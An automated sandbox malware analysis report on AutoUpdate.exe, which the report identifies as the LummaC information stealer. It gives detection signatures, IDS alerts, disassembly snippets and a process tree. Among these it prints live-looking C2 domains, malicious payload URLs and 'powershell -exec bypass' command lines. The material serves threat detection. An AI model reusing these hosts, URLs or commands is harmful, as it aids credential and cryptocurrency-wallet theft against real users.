Edit tour

Windows Analysis Report
AutoUpdate.exe

Overview

General Information

Sample name:	AutoUpdate.exe
Analysis ID:	1580115
MD5:	2edfb2e821cc4822c1ac9d6d52591048
SHA1:	37241f65670dfeb7154469a9a51cbf5b577b1fd3
SHA256:	00cf2aae19b9ac81ac5c6322ae56f65373c8cc05568ed6a35379077ca221fc5a
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation Via Stdin

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

AutoUpdate.exe (PID: 6332 cmdline: "C:\Users\user\Desktop\AutoUpdate.exe" MD5: 2EDFB2E821CC4822C1AC9D6D52591048)

powershell.exe (PID: 5324 cmdline: powershell -exec bypass error code: 523 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1432 cmdline: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c23ff083143ee</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div> </div> </div> <script> window._cf_translation = {}; </script> </body> </html> MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["talkynicer.lat", "curverpluch.lat", "bashfulacid.lat", "wordyfindy.lat", "shapestickyr.lat", "hungrypaster.click", "manyrestro.lat", "slipperyloo.lat", "tentabatte.lat"], "Build id": "hRjzG3--ELVIRA"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
AutoUpdate.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4aaab:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000000.1677973971.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000003.1785558448.00000000030F6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: AutoUpdate.exe PID: 6332	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: AutoUpdate.exe PID: 6332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AutoUpdate.exe PID: 6332	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.AutoUpdate.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation Via Stdin

Source: Process started

Author: Nikita Nazarov, oscd.community: Data: Command: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="UwKlRWOOvWBtYJ.FwDwDmXsQcmgI5ndC_Cc6FOD4boY-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\AutoUpdate.exe", ParentImage: C:\Users\user\Desktop\AutoUpdate.exe, ParentProcessId: 6332, ParentProcessName: AutoUpdate.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5324, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\AutoUpdate.exe", ParentImage: C:\Users\user\Desktop\AutoUpdate.exe, ParentProcessId: 6332, ParentProcessName: AutoUpdate.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5324, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\AutoUpdate.exe", ParentImage: C:\Users\user\Desktop\AutoUpdate.exe, ParentProcessId: 6332, ParentProcessName: AutoUpdate.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5324, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T00:30:16.898500+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.93.82	443	TCP
2024-12-24T00:30:18.873914+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.93.82	443	TCP
2024-12-24T00:30:21.277222+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.93.82	443	TCP
2024-12-24T00:30:23.580591+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.93.82	443	TCP
2024-12-24T00:30:25.818240+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.93.82	443	TCP
2024-12-24T00:30:28.564587+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	104.21.93.82	443	TCP
2024-12-24T00:30:30.662023+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.93.82	443	TCP
2024-12-24T00:30:32.712032+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.93.82	443	TCP
2024-12-24T00:30:35.025223+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.169.205	443	TCP
2024-12-24T00:30:38.292123+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.191.144	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T00:30:17.650568+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.93.82	443	TCP
2024-12-24T00:30:19.646525+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.93.82	443	TCP
2024-12-24T00:30:33.490210+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	104.21.93.82	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T00:30:17.650568+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.93.82	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T00:30:19.646525+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.93.82	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T00:30:24.418998+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49734	104.21.93.82	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://neqi.shop/sdgjyut/psh.txt	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txtkd	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txt/	Avira URL Cloud: Label: malware
Source: https://neqi.shop/	Avira URL Cloud: Label: malware
Source: https://neqi.shop/?z	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txtj	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txt	Avira URL Cloud: Label: malware

Found malware configuration

Source: AutoUpdate.exe.6332.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["talkynicer.lat", "curverpluch.lat", "bashfulacid.lat", "wordyfindy.lat", "shapestickyr.lat", "hungrypaster.click", "manyrestro.lat", "slipperyloo.lat", "tentabatte.lat"], "Build id": "hRjzG3--ELVIRA"}

Multi AV Scanner detection for submitted file

Source: AutoUpdate.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.6% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hungrypaster.click
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2028663372.0000000002AA0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--ELVIRA

Source: AutoUpdate.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.82:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.205:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.144:443 -> 192.168.2.4:49745 version: TLS 1.2

Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbx source: powershell.exe, 00000004.00000002.2045758985.0000000007FA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbxd source: powershell.exe, 00000004.00000002.2046068791.0000000007FE8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2041942659.0000000006FAD000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], E785F9BAh	0_2_02AC5FE0
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_02AA42EE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-2751FF07h]	0_2_02ADE23E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+24h]	0_2_02AB920B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], E785F9BAh	0_2_02AC627E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ecx-00001446h]	0_2_02AC425E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	0_2_02ACA3CE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_02ACA32E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_02AD8328
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	0_2_02ACD093
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then lea edx, dword ptr [ecx+ecx]	0_2_02ACD093
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx eax, byte ptr [edx]	0_2_02ACB0CE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ebx, eax	0_2_02AA702E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ebp, eax	0_2_02AA702E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ecx, edx	0_2_02AC8014
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp byte ptr [eax+004473A1h], 00000000h	0_2_02AAF1EC
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov edi, edx	0_2_02AAF1EC
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	0_2_02ADF1FE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], F3EBAE22h	0_2_02ADF1FE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then jmp dword ptr [004436D0h]	0_2_02AC61C0
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	0_2_02ACD11A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then lea edx, dword ptr [ecx+ecx]	0_2_02ACD11A
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	0_2_02ACD16B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then lea edx, dword ptr [ecx+ecx]	0_2_02ACD16B
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi]	0_2_02ACD158
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then lea edx, dword ptr [ecx+ecx]	0_2_02ACD158
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+24h]	0_2_02AC96AE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_02AB96CC
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3EED9EE0h]	0_2_02AB96CC
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 705FAB68h	0_2_02AAF6D4
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+5AC5F3CBh]	0_2_02AAF6D4
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_02AAF6D4
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi-602FBD1Bh]	0_2_02ABD63C
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-2751FF27h]	0_2_02ADE78E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3EED9EE0h]	0_2_02AB96C7
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov edi, dword ptr [ebp-54h]	0_2_02AC572F
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	0_2_02ABE77E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then add ebx, esi	0_2_02ACB494
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_02AAE4EF
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_02AAE4EF
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 5D0AA591h	0_2_02ADC4C4
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+18h]	0_2_02AC245E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02AC245E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	0_2_02AC659E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	0_2_02AB65E3
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then jmp eax	0_2_02AB55E5
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then jmp edi	0_2_02ADD503
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then jmp edi	0_2_02ADD511
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_02AB5575
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_02AC9AAE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+ebx+79EEF87Bh]	0_2_02AACAF8
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+ebx+79EEF87Bh]	0_2_02AACAF0
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-3C2AC7FAh]	0_2_02AC5A3E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_02ADCA42
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_02AA8B8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_02AA8B8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+00000289h]	0_2_02AB7B8E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_02ACBBE3
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ecx, eax	0_2_02ADABDE
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then movsx ebp, byte ptr [esi]	0_2_02ADDB3E
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 4x nop then mov ecx, eax	0_2_02AD781E
